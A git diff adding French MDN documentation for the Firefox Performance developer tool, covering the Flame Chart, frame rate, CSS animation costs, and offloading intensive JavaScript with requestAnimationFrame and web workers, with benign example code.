Tout d'abord, vous pouvez remarquer que dans le panneau de vue globale de l'enregistrement. Ici, une petite partie de l'enregistrement est sélectionné et affiché dans le Flame Chart. Le Flame Chart affiche beaucoup de données, donc pour obtenir des résultats pertinents, il est souvent nécessaire de zoomer.

+ +

Dans la vue du Flame Chart, l'axe X représente le temps. La capture d'écran couvre la période de 1435ms à un peu plus de 1465ms. Sur l'axe Y, on trouve les fonctions de la pile d'appel à ce point dans le temps, avec le haut niveau en haut, et les fonctions filles en bas. Les fonctions ont un code couleur pour pouvoir les distinguer facilement.

+ +

Cela fournit une façon de savoir à tout moment de l'enregistrement quelles fonctions sont exécutées, quand et pendant combien de temps, et également d'où elles ont été appelées.

+ +

Zoomer et faire un panoramique

+ +

Pour travailler efficacement avec le Flame Chart, il est nécessaire de pouvoir naviguer dedans. Il existe deux contrôles principaux pour naviguer dans le Flame Chart :

+ + + + + + + + + + + + +
Zoom : Augmente/diminue la portion du profil sélectionné qui est affiché dans le Flame Chart +

1) Souris : mollette vers le haut ou vers le bas dans le Flame Chart.

+ +

2) Pavé tactile : deux doigts vers le haut ou vers le bas dans le Flame Chart.

+
Déplacement : Déplace la portion du profil sélectionné qui est affiché dans le Flame Chart +

1) Clic puis glissement de la partie sélectionnée dans le panneau de la vue d'ensemble de l'enregistrement.

+ +

2) Clic puis glissement n'importe où dans le Flame Chart (attention, cliquer dans le panneau de vue d'ensemble à l’extérieur de la partie sélectionnée entraînera une nouvelle sélection)

+
+ +

{{EmbedYouTube("BzfkBRFucp8")}}

+ +

Exemple

+ +

Afin de voir comment le Flame Chart peut révéler le comportement d'un programme, nous utiliserons cet exemple simple. Nous utilisons le même programme dans la page de L'Arbre d'appel. Il s'agit d'un programme qui compare trois algorithmes de tri différents. Il existe une page séparée qui fournit une vue d'ensemble de la structure du programme.

+ +

Nous utiliserons le même profil que celui utilisé sur la page de l'Arbre d'appel. Le graphique d'appel et le nombre d'échantillons associé ressemblent à ceci :

+ +
sortAll()                         //    8
+
+    -> sort()                     //   37
+
+        -> bubbleSort()           // 1345
+
+            -> swap()             //  252
+
+        -> selectionSort()        //  190
+
+            -> swap()             //    1
+
+        -> quickSort()            //  103
+
+            -> partition()        //   12
+ +

Tout d'abord, sélectionnons toute la partie durant laquelle le programme était actif :

+ +

+ +

L'appelsortAll(), tout en haut et coloré en mauve court du début du programme à la fin. En dessous, on trouve en couleur olive les appels que cette fonction fait à sort(). Encore en dessous, comme les dents d'une scie, on trouve les appels à chacun des algorithmes de tri.

+ +

Zoomons un peu :

+ +

+ +

Cette partie dure à peu près 140ms, et montre plus de détails sur les fonctions appelées par sort(). Le code de sort() est celui-ci :

+ +
function sort(unsorted) {
+  console.log(bubbleSort(unsorted));
+  console.log(selectionSort(unsorted));
+  console.log(quickSort(unsorted));
+}
+ +

Les boites intitulées "bubb..." et colorées en vert olive sont vraisemblablement des bubbleSort(). Les boites colorées en vert sont vraisemblablement les autres fonctions de tri. Même au premier regard, il parait évident que les boites du tri à bulle sont bien plus grosses (et donc durent plus longtemps) que les autres.

+ +

Nous pouvons également voir quelques fonctions appelées par bubbleSort(), en violet.

+ +

Zoomons une deuxième fois :

+ +

+ +

Cette partie dure environ 20ms. Nous pouvons voir que les boites violettes en dessous de bubbleSort() sont les appels à swap(). Si voulions tous les compter, l'Arbre d'appel nous dirait facilement qu'il en existe 253 (le nombre d'échantillons pris dans cette fonction) . Tous les échantillons dans cette portion sont en dessous de bubbleSort(), mais l'on peut voir dans l'arbre d'appel que le profil contient un appel dans selectionSort().

+ +

Nous pouvons également voir que deux des boites vertes correspondent à selectionSort() et quickSort(), mais que les autres boites vertes correspondent à des appels à la plate-forme Gecko. Il est très probable qu'il s’agisse des console.log() dans sort().

diff --git a/files/fr/tools/performance/frame_rate/index.html b/files/fr/tools/performance/frame_rate/index.html new file mode 100644 index 0000000000..3f4c5016f0 --- /dev/null +++ b/files/fr/tools/performance/frame_rate/index.html @@ -0,0 +1,58 @@ +--- +title: Frame rate +slug: Outils/Performance/Frame_rate +translation_of: Tools/Performance/Frame_rate +--- +
{{ToolsSidebar}}
+

Le Frame rate est une unité de mesure de la réactivité des sites web en frames par seconde (fps). Un frame rate faible ou extrêmement variable peut donner l'impression qu'un site ne répond pas ou est de mauvaise qualité. Cela donne une mauvaise expérience utilisateur.

+ +

Un frame rate de 60fps est la cible idéale pour des performances fluides, cela donne un budget temps de 16.7ms pour effectuer tous les changements en réponse à un évènement.

+ +

Le graphique du frame rate dans l'outil Performance affiche le frame rate au cours de l'enregistrement. Cela donne une indication rapide d'où se situent les problèmes dans le site analysé, et permet d'utiliser d'autres outils pour une analyse plus approfondie.

+
+ +

Frame rate et réactivité

+ +

Le Frame rate est la vitesse à laquelle un appareil vidéo peut produire des images (frames). Cette unité est très utilisée dans les films ou les jeux vidéos, mais est maintenant utilisée couramment comme indicateur de performance pour les sites web et les applications web.

+ +

Dans le domaine de la performance web, une frame englobe tout le travail que doit faire le navigateur afin de mettre à jour et de repeindre l'écran. Le frame rate est évidemment applicable aux animations : si le frame rate est trop bas, une animation aura l'air saccadée, alors qu'avec un frame rate élevée, elle sera fluide. Mais le frame rate est également utile en temps qu'indicateur de performance générale de la réactivité d'un site web lorsqu’un utilisateur interagit avec.

+ +

Par exemple, si déplacer la souris au-dessus d'un élément de la page active du code JavaScript qui change l'apparence de l'élément et déclenche ainsi un reflow et un repaint, alors tout le travail doit être complété dans la même frame. Si l'opération prend trop de temps au navigateur, alors celui-ci apparaitra momentanément non réactif.

+ +

Similairement, si faire défiler une page implique un grand nombre de mises à jour complexes et que le navigateur ne peut alors pas garder un frame rate décent, alors le navigateur sera saccadé et sera occasionnellement bloqué (freeze).

+ +

En général, un frame rate constant et élevé rendra les interactions de l'utilisateur plus agréables.

+ +
+

Un frame rate de 60fps est reconnu comme le saint Graal de la performance. Cela donne un budget temps de 16.7ms pour toutes les opérations à effectuer dans une frame.

+ +

Cependant, la constance est très importante, surtout si le frame rate ne peut pas être de 60fps. Il est recommandé d'avoir un frame rate moins élevé, mais plus constant afin d’éviter des différences de réactivité brusques.

+
+ +

Graphique du Frame rate

+ +

Le graphique du frame rate se trouve dans la vue d'ensemble de l'enregistrement de l'outil Performance. Il prend un simple timestamp lorsque le navigateur finit une frame, et l'utilise pour connaitre le frame rate tout au long de l'enregistrement.

+ +

L'axe X est le temps dans le profil. Il y a trois annotations : le frame rate maximum, le frame rate minimum, et le frame rate moyen.

+ +

Utiliser le graphique du frame rate

+ +

Le principal intérêt de ce graphique est que tout comme la Console web, il donne une indication rapide d'ou le site peut avoir des problèmes et permet une analyse plus approfondie par d'autres outils. Voici par exemple une capture d'écran d'un profil de performance :

+ +

+ +

Il est possible de voir que le frame rate moyen est raisonnable, mais qu'il existe cependant trois endroits où le frame rate s'effondre pendant 10 millisecondes. Cela causera certainement un freeze considérable dans les animations de la page.

+ +

Le graphique du frame rate est en relation avec la vue d'ensemble de la Chronologie et celle-ci est affichée directement au-dessus. Il est donc possible de voir que les chutes correspondent aux barres orange qui dénotent le temps passé à exécuter du JavaScript.

+ +

Sélectioner une partie de l'enregistrement contenant une chute permet de zoomer sur cette partie. La vue principale de la Chronologie en dessous affiche alors les informations de cette portion uniquement. Il est alors possible de trouver le coupable :

+ +

+ +

Il y a ici une fonction JavaScript exécutée à la suite d'un évènement de clic qui bloque le processus principal pendant 170 millisecondes.

+ +

Pour savoir de quelle fonction il s'agit exactement, il faut passer au Flame Chart (Graphique JS) pour voir la pile d'appels à ce moment donné :

+ +

+ +

La fonction coupable est doPointlessComputations(), et est définie dans "main.js". Pour régler ce problème, il est possible de séparer cette fonction en plusieurs parties et d'exécuter ces parties dans requestAnimationFrame, ou bien même d'exécuter la fonction dans un worker. L'article JavaScript intensif expose des stratégies pour résoudre ce genre de problèmes.

diff --git a/files/fr/tools/performance/how_to/index.html b/files/fr/tools/performance/how_to/index.html new file mode 100644 index 0000000000..f7cd86402f --- /dev/null +++ b/files/fr/tools/performance/how_to/index.html @@ -0,0 +1,63 @@ +--- +title: Comment faire ? +slug: Outils/Performance/How_to +translation_of: Tools/Performance/How_to +--- +
{{ToolsSidebar}}

Ouvrir l'outil Performance

+ +

Pour ouvrir l'outil Performance, il existe plusieurs possibilités :

+ +
    +
  • Utiliser le raccourci clavier Maj + F5.
    • +
  • Selectioner "Performances" depuis le menu "Développement" présent dans le menu de Firefox (ou du menu outils sous OS X).
    • +
  • Ouvrir la boite à outils (F12).
    • +
  • Sélectionner l’icône de l'outil depuis la barre d'outils si vous en avez une :
    • +
+ +

Enregistrer un profil

+ +

Pour commencer un nouvel enregistrement, il faut presser sur le bouton en forme de chronomètre dans le panneau des enregistrements. Pour arrêter l'enregistrement, il suffit d'appuyer à nouveau sur le bouton :

+ +

+ +

Il est également possible de démarrer et d'arrêter un enregistrement depuis la Console Web, en utilisant console.profile() et console.profileEnd().

+ +

Sauvegarder un profil

+ +

Pour sauvegarder un profil, il faut cliquer sur le lien "Enregistrer" dans le tableau des enregistrements :

+ +

+ +

Charger un profil

+ +

Pour charger un profil, il suffit de cliquer sur "Importer..." et sélectionner le fichier :

+ +

+ +

Effacer tous les profils chargés

+ +

Pour effacer tous les profils chargés, il faut cliquer sur "Effacer".

+ +
+

Attention, cette action entrainera la perte de tout profil non sauvegardé

+
+ +

+ +

Sélectioner un outil

+ +

Les outils Chronologie, Arbre d'appel, et Flame Chart (Graphique JS) proposent chacun une méthode de visualisation différente. Pour passer de l'une à l'autre, il faut utiliser leurs boutons associés :

+ +

+ +

Configurer les données affichées

+ +

Pour contrôler quels types de données sont affichées dans la chronologie, il faut utiliser ce bouton :

+ +

+ +

Zoomer

+ +

Pour zoomer sur une partie de l'enregistrement, il faut sélectionner cette partie dans la vue d'ensemble :

+ +

diff --git a/files/fr/tools/performance/index.html b/files/fr/tools/performance/index.html new file mode 100644 index 0000000000..503820e30f --- /dev/null +++ b/files/fr/tools/performance/index.html @@ -0,0 +1,94 @@ +--- +title: Performance +slug: Outils/Performance +translation_of: Tools/Performance +--- +
{{ToolsSidebar}}
+ +

L'outil Performance donne un aperçu de : la réactivité générale du site, la performance de son code JavaScript et de la performance du layout (disposition). Cet outil permet de réaliser un enregistrement (appelé profil) d'un site sur une période donnée. L'outil montre alors une vue d'ensemble des opérations que le navigateur a effectuées pour afficher le site durant le profil. Un graphique du frame rate lors du profil est également affiché.

+ +

Il existe quatre sous-outils pour examiner les différents aspects du profil en détail :

+ +
    +
  • La Chronologie révèle les différentes opérations que le navigateur fait, par exemple l'exécution de JavaScript ou de layout, les repaints ou bien même la garbage collection
    • +
  • L'Arbre d'appels met en évidence les fonctions JavaScripts dans lesquels le navigateur passe le plus de temps.
    • +
  • Le Graphique JS (Flame Chart) montre la pile d'appels JavaScript durant l'enregistrement.
    • +
  • La vue Allocations affiche les allocations faites par le code tout au long de l'enregistrement. Cette vue n'apparait que si vous avez coché l'option « Enregistrer les allocations » dans les outils de développement.
    • +
+ +

{{EmbedYouTube("WBmttwfA_k8")}}

+ +
+

Débuter

+ +
+
+
+
UI Tour
+
+

Une visite guidée rapide pour s'y retrouver dans l'interface.

+
+
+
+ +
+
+
Comment faire ?
+
Tutoriels pour les tâches de base : ouverture de l'outil, création, sauvegarde, chargement et configuration des enregistrements.
+
+
+
+ +
+

Composants de l'outil Performance

+ +
+
+
+
Frame rate
+
Comprendre la réactivité générale des sites.
+
Arbre d'appel
+
Trouver les points noirs dans le code JavaScript d'un site.
+
Allocations
+
Afficher les allocations faites par le code tout au long de l'enregistrement.
+
+
+ +
+
+
Chronologie
+
Comprendre les opérations que fait le navigateur pendant que l'utilisateur interagit avec un site.
+
Graphique JS
+
Voir quelles fonctions JavaScript s'exécutent et quand elles s'exécutent pendant toute la durée de l'enregistrement.
+
+
+
+
+ +
+

Scenarios

+ +
+
+
+
Animer des propriétés CSS
+
Utiliser l'arbre d'appel pour comprendre comme le navigateur met à jour une page, et comment différentes animations de propriétés CSS peuvent impacter la performance.
+
+
+
+ +
+
+
JavaScript intensif
+
Utiliser le frame rate et l'arbre d'appel pour mettre en évidence les problèmes causés par du JavaScript à longue exécution et comment l'utilisation des workers peut aider à résoudre cette situation..
+
+
+
+ + + +
+
+
+
+
diff --git a/files/fr/tools/performance/scenarios/animating_css_properties/index.html b/files/fr/tools/performance/scenarios/animating_css_properties/index.html new file mode 100644 index 0000000000..b2767f6b32 --- /dev/null +++ b/files/fr/tools/performance/scenarios/animating_css_properties/index.html @@ -0,0 +1,154 @@ +--- +title: Animer des propriétés CSS +slug: Outils/Performance/Scenarios/Animating_CSS_properties +translation_of: Tools/Performance/Scenarios/Animating_CSS_properties +--- +
{{ToolsSidebar}}
+ +
+

Le cout en performance des animations CSS peuvent varier d'une propriété à une autre, et animer des propriétés couteuses peut résulter en un ralentissement/blocage du navigateur (jank) tandis que le navigateur se débat pour obtenir un frame rate fluide.

+ +

Le Frame rate et la Chronologie peuvent fournir des renseignements sur les opérations que fait le navigateur lors d'une animation CSS, dans le but d'aider à diagnostiquer les problèmes de performances.

+
+ +

Avec les animations CSS, il est possible de spécifier un nombre keyframes, chacune de celle-ci utilisent du CSS pour définir l'apparence d'un élément à un moment donné de l'animation. Le navigateur crée l'animation comme étant une transition d'une keyframe à une autre.

+ +

Comparées à l'animation via JavaScript, les animations CSS peuvent être plus faciles à créer. Elles peuvent également donner de meilleures performances, car elles donnent plus de contrôle au navigateur pour afficher les frames au bon moment et les supprimer si nécessaire.

+ +

Cependant, le cout en performances de la modification des propriétés CSS varient d'une propriété à une autre. Animer des propriétés couteuses peut résulter en un ralentissement/blocage du navigateur (jank) tandis que le navigateur se débat pour obtenir un frame rate fluide.

+ +

La chronologie du rendu CSS

+ +

Le processus que le navigateur utilise pour mettre à jour la page lorsqu'une propriété CSS a changé peut être décrit comme une chronologie consistant des étapes suivantes :

+ +

+ +
    +
  1. Recalculate Style (recalculer le style) : à chaque fois qu'une propriété CSS d'un élément change, le navigateur doit recalculer les styles calculés.
    2. +
  2. Layout (disposition) : ensuite, le navigateur utilise les styles calculés pour trouver la position et la géométrie des éléments. Cette opération est appelée "layout" mais peut être également appelée "reflow".
    3. +
  3. Paint (affichage) : enfin, le navigateur doit repeindre les éléments à l'écran. Une dernière étape qui n'est pas montrée dans cette séquence : la page peut être séparée en calques qui sont affichés indépendamment, puis combinés dans un processus appelé "Composition".
    4. +
+ +

Cette séquence doit tenir dans une seule frame, vu que l'écran n'est pas mis à jour avant sa complétion. Il est généralement accepté que 60 frames par secondes est le frame rate auquel les animations apparaitront fluides. Un frame rate de 60 frames par secondes (fps) donne au navigateur 16.7 millisecondes pour exécuter entièrement cette séquence.

+ +

Cout des propriétés CSS

+ +

Lors de l'exécution de la chronologie du rendu CSS, certaines propriétés sont plus couteuses que d'autres :

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de la propriétéCoutExemples
Les propriétés qui impactent la forme d'un élément ou sa position déclenchent une recalculation du style, une disposition, et un repaint. +

left
+ max-width
+ border-width
+ margin-left
+ font-size

+
+

Les propriétés qui n'impactent pas la forme d'un élément ou sa position, mais qui ne sont pas dans leur propre calque, ne déclenchent pas de disposition (layout)

+ 		+

color

+
Les propriétés dans leur propre calque ne déclenchent même pas un repaint, car la mise à jour est gérée dans la composition. transform
+ opacity
+ +
+

Le site web CSS Triggers affiche le cout pour chacune des propriétés CSS. Cela n'est valable que pour les navigateurs WebKit, mais la plupart des couts seront les mêmes dans tous les navigateurs récents.

+
+ +

Example : margin contre transform

+ +

Dans cette section, la façon dont la Chronologie peut mettre en évidence la différence entre une animation utilisant margin et une utilisant transform serra démontrée.

+ +

L'intention de ce scénario n'est pas de convaincre que l'animation en utilisant margin est forcement une mauvaise idée. Mais plutôt de démontrer comment les outils de développement peuvent donner une idée du travail qu'effectue le navigateur pour afficher un site web, et comment utiliser ces renseignements pour régler les problèmes de performance..

+ +

Si vous voulez expérimenter en même temps, le site de la démo est disponible ici. Il ressemble à ceci :

+ +

Le site comporte deux boutons : un pour démarrer/arrêter l'animation, et un groupe pour sélectionner le type d'animation.

+ +

Il y a quelques éléments, et ceux-ci ont les propriétés CSS linear-gradient et box-shadow, car elles sont relativement couteuses.

+ +

Il existe également une version vidéo de cette démo.

+ +

{{EmbedYouTube("Tvu6_j8Qzfk")}}

+ +

Animer en utilisant margin

+ +

Il faut laisser l'option "Use margin" sélectionnée, puis lancer l'animation. Il faut ensuite ouvrir l'outil Performances (maj+F5) et faire un enregistrement, seulement quelques secondes sont nécessaires.

+ +

En ouvrant l'enregistrement, ce que vous verrez dépend grandement de votre machine et de la charge du système, mais cela devrait ressembler à ceci :

+ +

+ +

Cette capture d'écran montre trois vues distinctes : une vue d'ensemble de la chronologie, le frame rate, et les détails de la frise chronologique.

+ +

Vue d'ensemble de la chronologie

+ +

+ +

Il s'agit d'une représentation compressée de la Chronologie. La prédominance du vert révèle que la page passe beaucoup de temps à peindre..

+ +

Frame rate

+ +

+ +

Cette partie montre le frame rate. Le frame rate moyen est de 46.67fps, bien en dessous de la cible de 60fps. Pire, le frame rate n'est pas du tout constant, avec un nombre conséquent de décentes dans les 20fps. Il est donc peu probable que l'animation soit fluide, surtout si une interaction utilisateur est ajoutée.

+ +

Chronologie

+ +

Le reste de l'enregistrement montre la vue de la chronologie. En faisant défiler un peu, on trouve le pattern suivant :

+ +

+ +

Cela représente la chronologie du rendu. À chaque frame de l'animation, les styles de chaque élément sont recalculés, puis composés en une seule disposition, et enfin le repaint a lieu.

+ +

Il est facile de voir que le paint prend beaucoup de performance ici. Dans la capture d'écran ci-dessus, une opération paint est mise en surbrillance. La partie sur la droite révèle que cette opération prend 13.11ms. Avec seulement 16.7ms de budget temps par frame, il n'est pas surprenant d'avoir un frame rate si bas.

+ +

Vous pouvez expérimenter avec l'exemple : essayez d'enlever la propriété box-shadow en utilisant l'Inspecteur, et regardez comment cela affecte le temps que prend paint. Par la suite, nous verrons comment utiliser transform au lieu de margin élimine complètement ces paint couteux.

+ +

Animer en utilisant transform

+ +

En cliquant sélectionnant l'option "Use transform", et en effectuant un nouvel enregistrement, on obtient quelque chose ressemblant à ceci :

+ +

+ +

Vue d'ensemble de la chronologie

+ +

+ +

En comparaison avec la version utilisant margin, on remarque beaucoup moins de vert et beaucoup plus de rose, ce qui peut être soit du positionnement soit de la recalculation de style.

+ +

Frame rate

+ +

+ +

En comparaison avec la version utilisant margin, cela semble bien mieux. Le frame rate moyen est quasiment à 60fps et le frame rate est quasiment constant.

+ +

Chronologie

+ +

La frise chronologique montre la raison pour laquelle le frame rate s'est amélioré. The timeline view shows the reason for the improved frame rate. Contrairement à la version utilisant margin aucun temps n'est dépensé dans la disposition ou dans paint :

+ +

+ +

Dans ce cas-là, utiliser transform a considérablement amélioré la performance du site, et l'outil de performance permet de voir comment et pourquoi.

diff --git a/files/fr/tools/performance/scenarios/index.html b/files/fr/tools/performance/scenarios/index.html new file mode 100644 index 0000000000..1b5969c1ff --- /dev/null +++ b/files/fr/tools/performance/scenarios/index.html @@ -0,0 +1,8 @@ +--- +title: Scénarios +slug: Outils/Performance/Scenarios +tags: + - NeedsContent +translation_of: Tools/Performance/Scenarios +--- +
{{ToolsSidebar}}

Scénarios de performances

diff --git a/files/fr/tools/performance/scenarios/intensive_javascript/index.html b/files/fr/tools/performance/scenarios/intensive_javascript/index.html new file mode 100644 index 0000000000..9d9a2291de --- /dev/null +++ b/files/fr/tools/performance/scenarios/intensive_javascript/index.html @@ -0,0 +1,231 @@ +--- +title: Intensive JavaScript +slug: Outils/Performance/Scenarios/Intensive_JavaScript +translation_of: Tools/Performance/Scenarios/Intensive_JavaScript +--- +
{{ToolsSidebar}}
+

Par défaut, le navigateur n'utilise qu'un seul thread pour exécuter tout le JavaScript d'une page et pour effectuer les layout, reflows et garbage collections. Cela signifie que les fonctions JavaScript qui mettent trop de temps à s'exécuter peuvent bloquer le thread, empêchant ainsi à la page de répondre et donnant alors une mauvaise expérience utilisateur.

+ +

Il est possible d'utiliser les outils Frame rate et Chronologie pour repérer le code JavaScript qui cause des problèmes de performances, et pour mettre en évidence les fonctions qui demandent une attention particulière.

+ +

Dans cet article, nous prendrons un exemple d'un site où le JavaScript cause des problèmes de réactivité, et nous utiliserons deux approches différentes pour résoudre ce problème. La première approche est de fractionner les fonctions trop gourmandes en plusieurs morceaux et d'utiliser requestAnimationFrame pour planifier l'exécution de chaque morceau. La seconde approche est d'exécuter la fonction en entier dans un thread séparé en utilisant un web worker.

+
+ +

Si vous souhaitez expérimenter par vous même tout en lisant, le site web de démonstration est disponible ici.

+ +

Il existe également une version vidéo de cet article :

+ +

{{EmbedYouTube("Pcc6jQX6JDI")}}

+ +

Le site de démonstration ressemble à ceci :

+ +

Il y trois contrôles :

+ +
    +
  • un bouton de sélection qui permet de contrôler comment exécuter le JavaScript : soit d'un seul bloc dans le thread principal, soit en plusieurs parties avec requestAnimationFrame(), soit en utilisant un thread séparé grâce à un worker.
    • +
  • Un bouton nommé "Do pointless computations!" (faire des calculs inutiles) pour exécuter le JavaScript.
    • +
  • Un bouton pour démarrer et arrêter des animations CSS. Cela donne au navigateur des tâches de fond à exécuter.
    • +
+ +

Afin de voir le problème de cette page, il faut laisser le bouton de sélection sur "Use blocking call in main thread" (appel de fonction bloquant dans le thread principal), puis faire un enregistrement. Pour ce faire, il faut réaliser les étapes suivantes :

+ +
    +
  • Presser le bouton "Start animations"
    • +
  • Démarrer l'enregistrement d'un profil
    • +
  • Presser le bouton "Do pointless computations!" deux ou trois fois
    • +
  • Arreter l'enregistrement du profil
    • +
+ +

Le résultat sera différent d'une machine à l'autre, mais globalement il devrait ressembler à ceci :

+ +

+ +

La partie haute est la vue d'ensemble de la chronologie. Cela donne une vue compressée de la Chronologie, qui affiche quels types d'opérations le navigateur effectue durant l'enregistrement. La partie rose indique que le navigateur effectue principalement des calculs CSS et potentiellement des reflows: il s'agit des animations CSS qui s'exécutent tout au long du profil. Il y a également des gros blocs orange, représentant l'exécution de JavaScript, il y a un bloc par appui de bouton "Do pointless computations!".

+ +

La partie basse qui est relation avec le résumé de la frise chronologique, montre le frame rate. Celui-ci est bon pendant la plus grande partie de l'enregistrement, mais s'effondre complètement à chaque appui de bouton.

+ +

Il est possible de sélectionner une de ces périodes afin d'obtenir des informations plus précises dans la vue principale de la chronologie :

+ +

+ +

Ici, lorsque le bouton est pressé, le navigateur a exécuté une fonction JavaScript, ou une série de fonctions qui ont bloqué le thread principal pendant 71.73ms, soit plus de trois fois le budget de temps pour une frame (1000ms/60frames = 16.67ms par frame).

+ +

Mais quelle est cette fonction qui prend tant de temps ? En passant à la vue du Flame Chart (Graphique JS), il est possible de le découvrir :

+ +

+ +

Cela révèle la pile d'appels JavaScript à cet instant de l'exécution. Sur le haut de la pile, on trouve une fonction nommée calculatePrimes(), le nom du fichier dans laquelle elle est contenue ainsi que le numéro de ligne à laquelle elle se trouve est également affiché. Le code incriminé est le suivant :

+ +
const iterations = 50;
+const multiplier = 1000000000;
+
+function calculatePrimes(iterations, multiplier) {
+  var primes = [];
+  for (var i = 0; i < iterations; i++) {
+    var candidate = i * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+  }
+  return primes;
+}
+
+function doPointlessComputationsWithBlocking() {
+  var primes = calculatePrimes(iterations, multiplier);
+  pointlessComputationsButton.disabled = false;
+  console.log(primes);
+}
+
+ +

Il s'agit tout simplement d'un test (mal optimisé) de nombre primaire réalisé 50 fois, pour des nombres assez grands.

+ +

Utilisation de requestAnimationFrame

+ +

La première manière de régler ce problème de performance consiste à fractionner la fonction en plusieurs parties plus restreintes, et de planifier l'exécution de chacune avec requestAnimationFrame().

+ +

requestAnimationFrame() ordonne au navigateur d'effectuer une fonction à chaque frame, juste avant qu'il effectue un repaint. Tant que les chaque fonction est raisonnablement courte, le navigateur devrait être capable de de ne pas dépasser le budget temps idéal.

+ +

Il est assez facile de fractionner calculatePrimes(): Il suffit de calculer la primarité de chaque nombre dans une fonction séparée :

+ +
function doPointlessComputationsWithRequestAnimationFrame() {
+
+  function testCandidate(index) {
+    // finishing condition
+    if (index == iterations) {
+      console.log(primes);
+      pointlessComputationsButton.disabled = false;
+      return;
+    }
+    // test this number
+    var candidate = index * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+    // schedule the next
+    var testFunction = testCandidate.bind(this, index + 1);
+    window.requestAnimationFrame(testFunction);
+  }
+
+  var primes = [];
+  var testFunction = testCandidate.bind(this, 0);
+  window.requestAnimationFrame(testFunction);
+}
+ +

Il est maintenant temps de tester cette version. Pour cela on répète les étapes précédentes. Cette fois par contre, l'enregistrement devrait ressembler à ceci :

+ +

+ +

Au lieu d'un seul bloc organe continu, chaque pression de bouton révèle une longue séquence de courts blocs orange. Ces blocs sont tous espacés d'une frame, et chacun représente une des fonctions appelées par requestAnimationFrame(). Il est à noter qu'il n'y a eu que deux pressions de bouton dans ce profil.

+ +

Ces appels de fonction sont en parallèle aux blocs roses des animations CSS, et chaque fonction est assez courte pour que le navigateur puisse l'exécuter sans faire baisser le frame rate.

+ +

Utiliser requestAnimationFrame pour résoudre le problème de réactivité a fonctionné ici. Cependant, il existe quelques problèmes potentiels à cette solution :

+ +
    +
  • Il peut être difficile de fractionner des longues fonctions. Même cet exemple simple a rendu nécessaire l'écriture de code plus complexe.
    • +
  • La version fractionnée prend beaucoup plus de temps à s'exécuter. En fait il est possible d'être assez précis sur le temps utilisé : il y a 50 itérations, et le navigateur tourne à 60 frames par secondes. Cela prendra donc presque une seconde d'exécuter tous les calculs, et cela à des répercussions sur l'expérience utilisateur et sur le profil.
    • +
+ +

Utilisation des web workers

+ +

Cette solution tente de régler le problème en utilisant un web worker. Les web workers permettent d'exécuter du JavaScript dans un thread séparé. Le thread principal et le thread du worker ne peuvent pas s'appeler directement, mais peuvent cependant communiquer via une API de messagerie asynchrone.

+ +

Le code du thread principal doit ressembler à ceci :

+ +
const iterations = 50;
+const multiplier = 1000000000;
+
+var worker = new Worker("js/calculate.js");
+
+function doPointlessComputationsInWorker() {
+
+  function handleWorkerCompletion(message) {
+    if (message.data.command == "done") {
+      pointlessComputationsButton.disabled = false;
+      console.log(message.data.primes);
+      worker.removeEventListener("message", handleWorkerCompletion);
+    }
+  }
+
+  worker.addEventListener("message", handleWorkerCompletion, false);
+
+  worker.postMessage({
+    "multiplier": multiplier,
+    "iterations": iterations
+  });
+}
+ +

La différence avec le code original est que l'on a besoin de :

+ +
    +
  • Créer un worker.
    • +
  • Lui envoyer un message lorsque l'on est pretr à calculer.
    • +
  • Être à l'écoute d'un message nommé "done", qui indique quand le worker est finni.
    • +
+ +

Un fichier "calculate.js", est également nécessaire, son code est le suivant :

+ +
self.addEventListener("message", go);
+
+function go(message) {
+  var iterations = message.data.iterations;
+  var multiplier = message.data.multiplier;
+  primes = calculatePrimes(iterations, multiplier);
+
+  self.postMessage({
+    "command":"done",
+    "primes": primes
+  });
+}
+
+function calculatePrimes(iterations, multiplier) {
+  var primes = [];
+  for (var i = 0; i < iterations; i++) {
+    var candidate = i * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+  }
+  return primes;
+}
+ +

Dans le worker, il est nécessaire d'être à l'écoute d'un message donnant l'ordre de démarrer. Il est également nécessaire d'envoyer un message "done" lorsque les calculs sont finis. La partie du code qui réalise les calculs elle n'a pas changé.

+ +

Comment s'en tire cette version ? Pour le savoir, il suffit de sélectionner "Use a worker", et de capturer un nouveau profil. Il devrait ressembler à ceci :

+ +

+ +

Dans ce profil, le bouton a été pressé trois fois. Comparé à l'original, chaque pression de bouton est visible dans le résumé sous la forme de deux blocs orange très courts :

+ +
    +
  • La fonction doPointlessComputationsInWorker() qui gère l'évènement de clic et lance le worker
    • +
  • La fonction handleWorkerCompletion() qui s'exécute lorsque le worker appelle "donne".
    • +
+ +

Entre ces deux blocs, le worker effectue ses opérations, et n'a aucun effet visible sur le frame rate et donc sur la réactivité du thread principal. Cela peut sembler étrange, mais puisque le worker s'exécute dans thread séparé, l'ordinateur peut profiter de l'architecture multi coeurs, ce qu'un site web à thread unique ne peut pas faire.

+ +

La limitation principale des webs workers est que le code qui s'exécute dans un worker n'a pas accès à l'API DOM.

diff --git a/files/fr/tools/performance/ui_tour/index.html b/files/fr/tools/performance/ui_tour/index.html new file mode 100644 index 0000000000..b364f3029b --- /dev/null +++ b/files/fr/tools/performance/ui_tour/index.html @@ -0,0 +1,125 @@ +--- +title: UI Tour +slug: Outils/Performance/UI_Tour +translation_of: Tools/Performance/UI_Tour +--- +
{{ToolsSidebar}}
+ +

La plateforme d'outils se découpe en 4 parties principales :

+ + + +

Outil

+ +

La boite à outils contient les boutons pour :

+ +
    +
  • commencer et arrêter l'enregistrement
    • +
  • importer les enregistrements de vos sauvegardes précédentes
    • +
  • nettoyer le volet d'enregistrements. à noter que si vous faîtes cela, vous perdrez tout ce que vous n'avez pas sauvegardé.L.
    • +
  • filtrer les markers qui sont affichés dans la vue Cascade
    • +
  • switch the active tool in the Details pane.
    • +
  • accéder au menu des paramètres
    • +
+ +

+ +

Recordings pane

+ +

The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.

+ +

+ +

